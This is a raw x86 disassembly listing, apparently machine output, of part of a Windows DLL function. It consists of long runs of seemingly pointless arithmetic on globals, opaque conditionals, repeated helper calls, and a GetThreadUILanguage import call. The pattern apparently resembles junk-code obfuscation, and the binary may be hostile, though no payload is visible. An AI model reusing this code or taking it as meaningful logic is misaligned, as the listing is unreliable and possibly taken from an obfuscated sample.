mov dword [0x100cd0c0], 0x351dcd04
mov dword [0x100cd0c4], eax
mov ecx, dword [0x100cdb38]
xor edx, edx
mov dword [0x100cd088], ecx
mov dword [0x100cd08c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
mov edx, dword [ebp - 0x590]
or edx, dword [ebp - 0x58c]
je 0x1003e2dd
movsx eax, byte [0x100cd026]
mov dword [ebp - 0x258], eax
jmp 0x1003e2e6
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x258], ecx
mov eax, dword [ebp - 0x258]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx edx, word [0x100cd098]
sub edx, 0x99
jne 0x1003e30e
mov dword [ebp - 0x25c], 1
jmp 0x1003e318
mov dword [ebp - 0x25c], 0
movsx eax, word [ebp - 0x2c]
imul eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x25c]
sub ecx, eax
jne 0x1003e338
mov edx, 1
mov word [ebp - 0x96], dx
jmp 0x1003e341
xor eax, eax
mov word [ebp - 0x96], ax
mov cx, word [ebp - 0x96]
mov word [0x100cd094], cx
movsx eax, byte [0x100cd083]
sub eax, 0x83
cdq
and eax, dword [0x100cd118]
and edx, dword [0x100cd11c]
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
movsx eax, byte [0x100cd096]
cdq
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push edx
push eax
call fcn.10099890
mov byte [0x100cd096], al
jmp 0x1003e51f
movzx edx, byte [ebp - 0x13]
test edx, edx
je 0x1003e455
mov ax, word [ebp - 0x60]
mov word [ebp - 0x24], ax
movzx ecx, byte [0x100cd082]
movsx edx, word [0x100cd0dc]
sub edx, ecx
mov word [0x100cd0dc], dx
imul eax, dword [ebp - 0x58], 0x77d13283
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
mov dword [ebp - 0x4c], ecx
movsx edx, byte [0x100cd026]
movsx eax, byte [str.6BlockUpgradeIfDriv]
imul eax, edx
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [0x100cd0ac]
cdq
mov edi, dword [ebp - 0x54]
sub edi, eax
mov eax, dword [ebp - 0x50]
sbb eax, edx
mov edx, dword [ebp - 0x44]
not edx
movsx ebx, word [ebp - 0x2c]
imul ebx, edx
xor edx, edx
sub ebx, edi
sbb edx, eax
not ebx
not edx
push esi
push ecx
push edx
push ebx
call fcn.10099890
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], edx
mov eax, dword [ebp - 0x598]
or eax, dword [ebp - 0x594]
jne 0x1003e439
mov dword [ebp - 0x260], 1
jmp 0x1003e443
mov dword [ebp - 0x260], 0
mov ecx, dword [ebp - 0x260]
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0x11], 0xeb
jmp 0x1003e51f
movsx edx, word [ebp - 0x34]
test edx, edx
jne 0x1003e471
xor eax, eax
mov dword [ebp - 0x424], 1
mov dword [ebp - 0x420], eax
jmp 0x1003e47c
xorps xmm0, xmm0
movlpd qword [ebp - 0x424], xmm0
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
not ecx
not edx
xor ecx, dword [ebp - 0x424]
xor edx, dword [ebp - 0x420]
mov dword [ebp - 0x5a0], ecx
mov dword [ebp - 0x59c], edx
mov eax, dword [ebp - 0x5a0]
or eax, dword [ebp - 0x59c]
je 0x1003e51f
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x5c]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x44], eax
mov edx, dword [0x100cdb38]
mov dword [ebp - 0x44], edx
movsx ecx, word [ebp - 0x34]
add ecx, 0x1c
mov ax, word [ebp - 0x28]
shl ax, cl
mov word [ebp - 0x28], ax
mov cl, byte [0x100cd06f]
sub cl, 1
mov byte [0x100cd06f], cl
mov edx, 0xc73c3
mov dword [0x100cd0f8], 0xe93a8956
mov dword [0x100cd0fc], edx
movzx eax, byte [0x100cd082]
imul eax, dword [ebp - 0x44]
xor ecx, ecx
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], ecx
mov edx, dword [ebp - 0xf8]
add edx, 0x76
mov dword [ebp - 0x7f8], edx
mov ecx, 9
mov esi, str.Failedtoresolvemat
lea edi, [ebp - 0x8b0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x8b0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x100cd0dc], ax
mov ecx, dword [ebp - 0xf8]
add ecx, 0x27c
mov dword [ebp - 0x7fc], ecx
mov byte [ebp - 0x13], 3
mov dx, word [ebp - 0x18]
sub dx, 1
mov word [ebp - 0x18], dx
mov eax, 8
imul ecx, eax, 0x507e
mov dl, byte [ecx + 0x1037ee30]
mov byte [str.6BlockUpgradeIfDriv], dl
mov eax, dword [0x100cd0e4]
xor ecx, ecx
sub eax, 0x9d9606eb
sbb ecx, 0x8c1fe
mov edx, dword [0x100cd090]
xor esi, esi
push ecx
push eax
push esi
push edx
call fcn.10099890
mov dword [0x100cd090], eax
movsx eax, byte [0x100cd047]
cdq
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
movsx eax, byte [0x100cd096]
not eax
cdq
push edx
push eax
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.10099890
mov dword [0x100cd0e0], eax
movsx edx, word [ebp - 0x34]
mov dword [0x100cd0f0], edx
movzx eax, byte [ebp - 0x13]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 3
ja case.default.0x1003e60f
mov ecx, dword [ebp - 0x264]
jmp dword [ecx*4 + 0x10042420]
movsx edx, word [ebp - 0x2c]
sub edx, 0x4ec1a27f
mov dword [0x100cd0e4], edx
mov al, byte [0x100cdb38]
mov byte [0x100cd047], al
mov ecx, dword [0x100cd0ac]
sub ecx, 0x6cb4ec4b
mov byte [0x100cd06e], cl
xor edx, edx
mov dword [ebp - 0x80], 0x5799
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
sub eax, dword [0x100cd0f8]
sbb ecx, dword [0x100cd0fc]
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
sub edx, eax
sbb esi, ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], esi
jmp case.default.0x1003e60f
movsx eax, byte [0x100cd026]
sub eax, 0x43b62d1
mov dword [0x100cd100], eax
mov ecx, dword [0x100cd0a0]
or ecx, dword [0x100cd0a4]
jne 0x1003e6a8
xor edx, edx
mov dword [ebp - 0x5a8], 1
mov dword [ebp - 0x5a4], edx
jmp 0x1003e6b3
xorps xmm0, xmm0
movlpd qword [ebp - 0x5a8], xmm0
mov eax, dword [ebp - 0x5a8]
add eax, dword [0x100cd0b0]
not eax
mov word [ebp - 0x24], ax
mov ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x48]
mov dword [ebp - 0x58], ecx
movzx edx, word [0x100cd094]
test edx, edx
jne 0x1003e6ed
xor eax, eax
mov dword [ebp - 0x42c], 1
mov dword [ebp - 0x428], eax
jmp 0x1003e6f8
xorps xmm0, xmm0
movlpd qword [ebp - 0x42c], xmm0
mov eax, dword [0x100cd0c8]
cdq
sub eax, dword [0x100cd0b0]
sbb edx, dword [0x100cd0b4]
mov ecx, dword [0x100cd0f8]
not ecx
mov esi, dword [0x100cd0fc]
not esi
sub ecx, dword [ebp - 0x42c]
sbb esi, dword [ebp - 0x428]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov ecx, eax
mov esi, edx
mov edi, dword [ebp - 0x68]
mov ebx, dword [ebp - 0x64]
not edi
not ebx
movzx eax, word [0x100cd094]
cdq
add eax, edi
adc edx, ebx
add eax, dword [0x100cd0b0]
adc edx, dword [0x100cd0b4]
add eax, ecx
adc edx, esi
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], edx
mov edx, dword [ebp - 0x5b0]
or edx, dword [ebp - 0x5ac]
jne 0x1003e781
mov eax, 1
mov word [ebp - 0x94], ax
jmp 0x1003e78a
xor ecx, ecx
mov word [ebp - 0x94], cx
mov dx, word [ebp - 0x94]
mov word [0x100cd0ec], dx
mov eax, dword [ebp - 0x40]
sub eax, dword [0x100cd118]
mov dword [ebp - 0x40], eax
movsx eax, byte [0x100cd06f]
sub eax, 0x47ceabb3
cdq
mov ecx, dword [ebp - 0x54]
sub ecx, eax
mov eax, dword [ebp - 0x50]
sbb eax, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], eax
jmp case.default.0x1003e60f
movsx eax, byte [ebp - 0x11]
cdq
mov ecx, eax
mov esi, edx
mov edi, dword [ebp - 0x40]
xor ebx, ebx
sub edi, dword [0x100cd0d0]
sbb ebx, dword [0x100cd0d4]
movsx eax, byte [ebp - 0x11]
cdq
sub eax, edi
sbb edx, ebx
sub eax, ecx
sbb edx, esi
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], edx
mov edx, dword [ebp - 0x5b8]
or edx, dword [ebp - 0x5b4]
jne 0x1003e81b
xor eax, eax
mov dword [ebp - 0x4a4], 1
mov dword [ebp - 0x4a0], eax
jmp 0x1003e826
xorps xmm0, xmm0
movlpd qword [ebp - 0x4a4], xmm0
mov ecx, dword [ebp - 0x4a4]
mov edx, dword [ebp - 0x4a0]
mov dword [0x100cd0a0], ecx
mov dword [0x100cd0a4], edx
movzx eax, byte [0x100cd07f]
movsx ecx, byte [0x100cd096]
sub ecx, eax
jne 0x1003e859
mov byte [ebp - 0x83], 1
jmp 0x1003e860
mov byte [ebp - 0x83], 0
mov dl, byte [ebp - 0x83]
mov byte [0x100cd096], dl
mov eax, dword [ebp - 0x5c]
cdq
push 0x904f9
push 0x97b8b5e9
push edx
push eax
call fcn.10099890
mov word [ebp - 0x18], ax
mov byte [ebp - 0x11], 0xaf
movzx eax, byte [0x100cd082]
shl eax, 8
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x70]
sub ecx, 0x25
mov word [0x100cd0b8], cx
jmp case.default.0x1003e60f
movzx edx, word [ebp - 0x18]
movzx eax, word [ebp - 0x24]
imul eax, edx
movzx ecx, word [ebp - 0x24]
sub ecx, eax
mov word [ebp - 0x24], cx
movzx edx, byte [ebp - 0x12]
add edx, dword [0x100cd0e0]
mov byte [0x100cd027], dl
mov dword [ebp - 0x44], 1
mov eax, dword [0x100cd100]
add eax, 0x9a
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
imul eax, dword [ebp - 0x268], 0xd7
cmp eax, dword [ebp - 0x268]
je 0x1003ebe5
movzx ecx, byte [ebp - 0x14]
movzx edx, byte [0x100cd082]
sub edx, ecx
movzx eax, byte [0x100cd082]
add eax, edx
mov byte [0x100cd082], al
mov ecx, dword [0x100cdb38]
xor edx, edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], edx
mov ax, word [0x100cdb38]
mov word [0x100cd098], ax
movzx ecx, byte [0x100cd06e]
imul edx, ecx, 0x7706ee20
mov word [ebp - 0x20], dx
mov dword [0x100cd104], 2
movsx eax, byte [0x100cd06f]
movzx ecx, word [ebp - 0x24]
imul ecx, eax
mov word [ebp - 0x24], cx
movzx edx, word [ebp - 0x1c]
push edx
call fcn.1005de10
add esp, 4
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x1003e97c
mov dword [ebp - 0x26c], 1
jmp 0x1003e986
mov dword [ebp - 0x26c], 0
cmp dword [ebp - 0x48], 0x11
jne 0x1003e998
mov dword [ebp - 0x270], 1
jmp 0x1003e9a2
mov dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x26c]
cmp eax, dword [ebp - 0x270]
je 0x1003eb21
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0x5c0], ecx
mov dword [ebp - 0x5bc], edx
mov eax, dword [ebp - 0x5c0]
or eax, dword [ebp - 0x5bc]
je 0x1003ea7d
movzx ecx, word [0x100cd094]
add ecx, dword [0x100cd0e4]
mov word [0x100cd094], cx
movsx edx, word [0x100cd110]
movzx eax, byte [ebp - 0x12]
xor eax, edx
movzx ecx, byte [ebp - 0x12]
imul ecx, eax
mov byte [ebp - 0x12], cl
movsx eax, word [0x100cd108]
cdq
mov ecx, dword [ebp - 0x7c]
push ecx
mov ecx, dword [ebp - 0x80]
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
movsx eax, word [0x100cd108]
cdq
sub eax, ecx
mov word [0x100cd108], ax
movzx edx, word [ebp - 0x28]
shl edx, 5
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
movsx eax, byte [0x100cd047]
not eax
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [0x100cd098], ax
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
mov dword [ebp - 0x800], eax
add edx, 0x9f
mov dword [0x100cd090], edx
jmp 0x1003eb1c
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov dword [ebp - 0x5c8], ecx
mov dword [ebp - 0x5c4], edx
mov eax, dword [ebp - 0x5c8]
cmp eax, dword [0x100cd0f8]
jne 0x1003eaaa
mov ecx, dword [ebp - 0x5c4]
cmp ecx, dword [0x100cd0fc]
je 0x1003eb1c
mov edx, 0xd60e
mov word [ebp - 0x18], dx
movzx eax, byte [0x100cd027]
mov ecx, dword [0x100cd0e4]
add ecx, eax
mov dword [0x100cd0e4], ecx
mov edx, dword [ebp - 0x70]
add edx, 0x37
mov eax, dword [ebp - 0x6c]
adc eax, 0
mov ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
add ecx, edx
adc esi, eax
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], esi
mov edx, dword [ebp - 0x60]
sub edx, dword [0x100cd0e4]
or edx, dword [ebp - 0x60]
mov dword [ebp - 0x60], edx
movzx eax, word [ebp - 0x18]
shl eax, 5
mov byte [ebp - 0x14], al
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x804], edx
movsx eax, byte [ebp - 0x11]
cdq
mov esi, eax
add esi, ecx
movsx eax, byte [ebp - 0x11]
cdq
sub eax, esi
mov byte [ebp - 0x11], al
jmp 0x1003ebde
mov eax, dword [0x100cd0f8]
or eax, dword [0x100cd0fc]
jne 0x1003eb4d
movsx ecx, word [0x100cd0d8]
test ecx, ecx
jne 0x1003eb4d
xor edx, edx
mov dword [ebp - 0x3ec], 1
mov dword [ebp - 0x3e8], edx
jmp 0x1003eb58
xorps xmm0, xmm0
movlpd qword [ebp - 0x3ec], xmm0
mov eax, dword [ebp - 0x3ec]
cmp eax, dword [ebp - 0x78]
jne 0x1003eb7a
mov ecx, dword [ebp - 0x3e8]
cmp ecx, dword [ebp - 0x74]
jne 0x1003eb7a
mov dword [ebp - 0x274], 1
jmp 0x1003eb84
mov dword [ebp - 0x274], 0
mov edx, dword [ebp - 0x274]
not edx
test edx, edx
je 0x1003ebde
mov dword [ebp - 0x58], 8
movzx eax, byte [0x100cd06e]
movzx ecx, word [ebp - 0x30]
sub ecx, eax
movzx edx, word [ebp - 0x30]
movsx eax, byte [ebp - 0x11]
imul eax, edx
imul eax, ecx
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
imul edx, ecx, 0x10ca
mov dword [ebp - 0x5c], edx
mov ax, word [ebp - 0x70]
mov ecx, 2
imul edx, ecx, 3
mov word [edx + 0x1023d518], ax
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
xor eax, eax
jmp 0x100423d0
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
mov word [ebp - 0x1c], ax
push 0
push 0xe7
mov ecx, dword [ebp - 0x4c]
push ecx
push 0x5f
push 0x15
push 0x9f
push 0xf3
call fcn.1005d580
add esp, 0x1c
xor edx, edx
mov dword [0x100cd0c0], eax
mov dword [0x100cd0c4], edx
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
cmp dword [ebp - 0x5cc], 0
jg 0x1003ec54
jl 0x1003ec48
cmp dword [ebp - 0x5d0], 0
jae 0x1003ec54
mov dword [ebp - 0x278], 1
jmp 0x1003ec5e
mov dword [ebp - 0x278], 0
mov edx, dword [0x100cd0c0]
mov eax, dword [0x100cd0c4]
mov dword [ebp - 0x5d8], edx
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 0
jg 0x1003ec95
jl 0x1003ec89
cmp dword [ebp - 0x5d8], 0x17
jae 0x1003ec95
mov dword [ebp - 0x27c], 1
jmp 0x1003ec9f
mov dword [ebp - 0x27c], 0
mov ecx, dword [ebp - 0x278]
cmp ecx, dword [ebp - 0x27c]
jge 0x1003ef1d
movsx edx, byte [0x100cd047]
cmp dword [ebp - 0x4c], edx
jl 0x1003ecc9
mov dword [ebp - 0x288], 1
jmp 0x1003ecd3
mov dword [ebp - 0x288], 0
movsx eax, byte [str.6BlockUpgradeIfDriv]
test eax, eax
jne 0x1003ecea
mov dword [ebp - 0x280], 1
jmp 0x1003ecf4
mov dword [ebp - 0x280], 0
movzx ecx, byte [0x100cd027]
test ecx, ecx
jne 0x1003ed0b
mov dword [ebp - 0x284], 1
jmp 0x1003ed15
mov dword [ebp - 0x284], 0
mov edx, dword [ebp - 0x280]
cmp edx, dword [ebp - 0x284]
jl 0x1003ed2f
mov dword [ebp - 0x28c], 1
jmp 0x1003ed39
mov dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0x288]
cmp eax, dword [ebp - 0x28c]
jle 0x1003ed53
mov dword [ebp - 0x294], 1
jmp 0x1003ed5d
mov dword [ebp - 0x294], 0
movsx ecx, word [0x100cd0ec]
test ecx, ecx
je 0x1003ed7f
movzx edx, word [0x100cd094]
test edx, edx
je 0x1003ed7f
mov dword [ebp - 0x290], 1
jmp 0x1003ed89
mov dword [ebp - 0x290], 0
mov eax, dword [0x100cd0f0]
cmp dword [ebp - 0x290], eax
je 0x1003eda2
mov dword [ebp - 0x298], 1
jmp 0x1003edac
mov dword [ebp - 0x298], 0
mov ecx, dword [ebp - 0x294]
cmp ecx, dword [ebp - 0x298]
jl 0x1003ee82
movzx eax, word [ebp - 0x18]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movzx eax, byte [ebp - 0x13]
cdq
and eax, dword [0x100cd118]
and edx, dword [0x100cd11c]
mov ecx, dword [0x100cd118]
sub ecx, eax
mov eax, dword [0x100cd11c]
sbb eax, edx
mov dword [0x100cd118], ecx
mov dword [0x100cd11c], eax
xor ecx, ecx
mov dword [0x100cd0b0], 0x2cb17125
mov dword [0x100cd0b4], ecx
mov edx, dword [ebp - 0x40]
shl edx, 1
mov byte [ebp - 0x11], dl
movsx eax, byte [0x100cd083]
test eax, eax
jne 0x1003ee34
mov dword [ebp - 0x29c], 1
jmp 0x1003ee3e
mov dword [ebp - 0x29c], 0
mov ecx, dword [0x100cd104]
xor ecx, dword [ebp - 0x29c]
movsx edx, word [0x100cd0ec]
movzx eax, word [ebp - 0x18]
sub eax, edx
sub eax, ecx
movzx ecx, byte [ebp - 0x14]
movsx edx, word [0x100cd0dc]
not edx
sub edx, ecx
not edx
movzx ecx, byte [ebp - 0x12]
add ecx, edx
add ecx, eax
not ecx
mov eax, ecx
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
jmp 0x1003ef18
cmp dword [ebp - 0x5c], 0
je 0x1003ef18
movzx edx, byte [ebp - 0x14]
sub edx, 0xefa1
mov dword [0x100cd0e0], edx
mov dword [0x100cd0ac], 0xb1137df8
mov eax, dword [0x100cd104]
add eax, 0x4f6266a3
movzx ecx, word [ebp - 0x18]
imul ecx, eax
mov word [ebp - 0x18], cx
movsx edx, word [0x100cd108]
add edx, 0x6c
jne 0x1003eedb
xor eax, eax
mov dword [ebp - 0x3e4], 1
mov dword [ebp - 0x3e0], eax
jmp 0x1003eee6
xorps xmm0, xmm0
movlpd qword [ebp - 0x3e4], xmm0
mov ecx, dword [ebp - 0x3e4]
mov edx, dword [ebp - 0x3e0]
mov dword [0x100cd0a0], ecx
mov dword [0x100cd0a4], edx
movsx eax, byte [0x100cd026]
cdq
mov ecx, eax
xor ecx, 0xd0ddbf8b
movsx eax, byte [ebp - 0x11]
cdq
and eax, ecx
mov byte [ebp - 0x11], al
jmp 0x1003f204
movsx eax, byte [0x100cd083]
cdq
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], edx
cmp dword [ebp - 0x5e0], 0x3cb7fa1b
jne 0x1003ef51
cmp dword [ebp - 0x5dc], 0xaed8e
jne 0x1003ef51
movzx edx, word [ebp - 0x30]
test edx, edx
jne 0x1003ef9d
xor eax, eax
mov dword [ebp - 0x68], 0x79aeb17a
mov dword [ebp - 0x64], eax
movsx ecx, byte [str.6BlockUpgradeIfDriv]
add ecx, 0xf
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x54]
mov dword [0x100cd100], edx
mov byte [str.6BlockUpgradeIfDriv], 0x3c
movsx eax, byte [ebp - 0x11]
movzx ecx, word [0x100cd0b8]
imul ecx, eax
movzx edx, word [0x100cd0b8]
add edx, ecx
mov word [0x100cd0b8], dx
jmp 0x1003f204
mov eax, 0x7db3
test eax, eax
je 0x1003f0d7
movzx ecx, byte [0x100cd06e]
imul ecx, dword [ebp - 0x40]
movzx edx, byte [0x100cd06e]
sub edx, ecx
mov byte [0x100cd06e], dl
mov eax, 0xb6d0
sub eax, dword [ebp - 0x48]
jne 0x1003efe2
xor ecx, ecx
mov dword [ebp - 0x4e4], 1
mov dword [ebp - 0x4e0], ecx
jmp 0x1003efed
xorps xmm0, xmm0
movlpd qword [ebp - 0x4e4], xmm0
mov edx, dword [ebp - 0x4e4]
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], eax
movzx eax, byte [0x100cd082]
cdq
add eax, dword [0x100cd118]
adc edx, dword [0x100cd11c]
add eax, dword [0x100cd118]
adc edx, dword [0x100cd11c]
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
imul ecx, dword [0x100cd084], 0x3712
test ecx, ecx
jne 0x1003f044
mov dword [ebp - 0x2a0], 1
jmp 0x1003f04e
mov dword [ebp - 0x2a0], 0
movsx edx, byte [0x100cd026]
mov ecx, dword [0x100cd0a8]
xor ecx, edx
sub ecx, dword [ebp - 0x2a0]
xor esi, esi
mov edi, dword [0x100cd088]
mov ebx, dword [0x100cd08c]
movsx eax, word [ebp - 0x34]
not eax
cdq
sub eax, edi
sbb edx, ebx
mov edi, dword [0x100cd090]
add edi, dword [0x100cd0a8]
not edi
xor ebx, ebx
sub edi, eax
sbb ebx, edx
add edi, ecx
adc ebx, esi
mov dword [0x100cd088], edi
mov dword [0x100cd08c], ebx
mov edx, dword [0x100cd118]
sub edx, 1
mov eax, dword [0x100cd11c]
sbb eax, 0
mov dword [0x100cd118], edx
mov dword [0x100cd11c], eax
mov ecx, 1
imul edx, ecx, 0x29c3
mov al, byte [0x100cd06e]
mov byte [edx + 0x10413d50], al
jmp 0x1003f204
movzx ecx, word [ebp - 0x24]
movzx edx, word [0x100cd094]
or edx, ecx
je 0x1003f204
imul eax, dword [ebp - 0x44], 0xb81d
mov word [ebp - 0x34], ax
mov ecx, dword [0x100cd0f0]
sub ecx, 1
mov dword [0x100cd0f0], ecx
mov edx, dword [0x100cd0e4]
mov word [0x100cd0b8], dx
movsx eax, byte [0x100cd047]
test eax, eax
jne 0x1003f128
mov dword [ebp - 0x2a4], 1
jmp 0x1003f132
mov dword [ebp - 0x2a4], 0
movzx ecx, word [0x100cd094]
add ecx, dword [ebp - 0x2a4]
jne 0x1003f14d
mov dword [ebp - 0x2ac], 1
jmp 0x1003f157
mov dword [ebp - 0x2ac], 0
movsx edx, byte [str.6BlockUpgradeIfDriv]
imul eax, edx, 0xea09
test eax, eax
jne 0x1003f174
mov dword [ebp - 0x2b0], 1
jmp 0x1003f17e
mov dword [ebp - 0x2b0], 0
cmp dword [0x100cd0e4], 0
jne 0x1003f193
mov dword [ebp - 0x2a8], 1
jmp 0x1003f19d
mov dword [ebp - 0x2a8], 0
movsx ecx, word [0x100cd108]
add ecx, dword [ebp - 0x2a8]
sub ecx, dword [ebp - 0x5c]
jne 0x1003f1bb
mov dword [ebp - 0x2b4], 1
jmp 0x1003f1c5
mov dword [ebp - 0x2b4], 0
mov edx, dword [ebp - 0x2ac]
sub edx, dword [ebp - 0x2b0]
add edx, dword [ebp - 0x2b4]
mov byte [ebp - 0x11], dl
movzx eax, word [ebp - 0x24]
movzx ecx, word [0x100cd094]
add ecx, eax
mov word [0x100cd094], cx
movzx edx, word [0x100cd0b8]
movsx eax, word [0x100cd0d8]
sub eax, edx
mov word [0x100cd0d8], ax
movsx eax, byte [0x100cd083]
cdq
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], edx
mov ecx, dword [ebp - 0x5e4]
cmp ecx, dword [ebp - 0x6c]
jb 0x1003f2ed
ja 0x1003f238
mov edx, dword [ebp - 0x5e8]
cmp edx, dword [ebp - 0x70]
jb 0x1003f2ed
cmp dword [ebp - 0x60], 0
je 0x1003f24b
mov eax, dword [0x100cd0a8]
mov dword [ebp - 0x2b8], eax
jmp 0x1003f254
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x2b8], ecx
mov edx, dword [ebp - 0x2b8]
xor eax, eax
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x7c], eax
xor ecx, ecx
mov edx, dword [ebp - 0x54]
sub edx, dword [0x100cd0a8]
mov eax, dword [ebp - 0x50]
sbb eax, ecx
add edx, dword [ebp - 0x54]
adc eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
movsx esi, byte [str.6BlockUpgradeIfDriv]
add esi, dword [0x100cd084]
movzx eax, word [0x100cd0b8]
cdq
mov ecx, dword [0x100cd0d4]
push ecx
mov ecx, dword [0x100cd0d0]
push ecx
push edx
push eax
call fcn.10099890
not eax
sub eax, esi
mov dword [0x100cd104], eax
push 0
push 0x40e0
mov edx, dword [0x100cd0b4]
push edx
mov eax, dword [0x100cd0b0]
push eax
call fcn.10099890
mov byte [0x100cd07f], al
mov cl, byte [0x100cd06f]
sub cl, 1
mov byte [0x100cd06f], cl
movsx edx, byte [ebp - 0x11]
add edx, 3
mov dword [ebp - 0x5c], edx
jmp 0x1003f4f6
movsx eax, word [0x100cd110]
sub eax, dword [0x100cd090]
je 0x1003f3ca
movsx ecx, byte [ebp - 0x11]
sub ecx, 0xc0
mov word [0x100cd110], cx
movzx edx, word [ebp - 0x30]
test edx, edx
je 0x1003f328
movsx eax, word [0x100cd0e8]
mov dword [ebp - 0x2bc], eax
jmp 0x1003f332
movzx ecx, byte [ebp - 0x14]
mov dword [ebp - 0x2bc], ecx
mov dl, byte [ebp - 0x2bc]
mov byte [0x100cd096], dl
movsx eax, byte [0x100cd083]
mov ecx, dword [ebp - 0x44]
add ecx, eax
mov edx, dword [ebp - 0x44]
add edx, ecx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x78]
or eax, dword [ebp - 0x74]
je 0x1003f36a
mov cx, word [0x100cd0ec]
mov word [ebp - 0x92], cx
jmp 0x1003f375
mov dx, word [ebp - 0x34]
mov word [ebp - 0x92], dx
mov ax, word [ebp - 0x92]
mov word [0x100cd0b8], ax
mov ecx, dword [0x100cd0a8]
add ecx, dword [0x100cd084]
or ecx, 0xb9fe34b
add ecx, 0xddf1e2ff
mov dword [ebp - 0x5c], ecx
mov ecx, dword [0x100cd0a8]
xor esi, esi
movsx eax, word [0x100cd0ec]
cdq
mov edi, dword [ebp - 0x70]
not edi
mov ebx, dword [ebp - 0x6c]
not ebx
sub edi, eax
sbb ebx, edx
xor edi, ecx
xor ebx, esi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], ebx
jmp 0x1003f4f6
cmp dword [ebp - 0x40], 0
jne 0x1003f3d8
movzx edx, word [ebp - 0x24]
test edx, edx
je 0x1003f3e6
movsx eax, word [ebp - 0x34]
not eax
test eax, eax
je 0x1003f4f6
mov ecx, dword [ebp - 0x48]
sub ecx, dword [0x100cd0e4]
mov dword [ebp - 0x48], ecx
movsx edx, byte [0x100cd083]
mov eax, dword [0x100cd100]
add eax, edx
jne 0x1003f40e
mov dword [ebp - 0x2c4], 1
jmp 0x1003f418
mov dword [ebp - 0x2c4], 0
movzx ecx, byte [0x100cd082]
test ecx, ecx
jne 0x1003f42f
mov dword [ebp - 0x2c0], 1
jmp 0x1003f439
mov dword [ebp - 0x2c0], 0
movsx edx, word [ebp - 0x20]
add edx, dword [0x100cd084]
mov eax, dword [0x100cd0e4]
imul eax, dword [ebp - 0x2c0]
xor eax, edx
jne 0x1003f45f
mov dword [ebp - 0x2c8], 1
jmp 0x1003f469
mov dword [ebp - 0x2c8], 0
movzx ecx, word [ebp - 0x18]
imul ecx, dword [ebp - 0x2c4]
sub ecx, dword [ebp - 0x2c8]
mov word [ebp - 0x30], cx
movzx edx, word [ebp - 0x24]
movzx eax, byte [ebp - 0x14]
add eax, edx
movzx ecx, byte [ebp - 0x14]
and ecx, eax
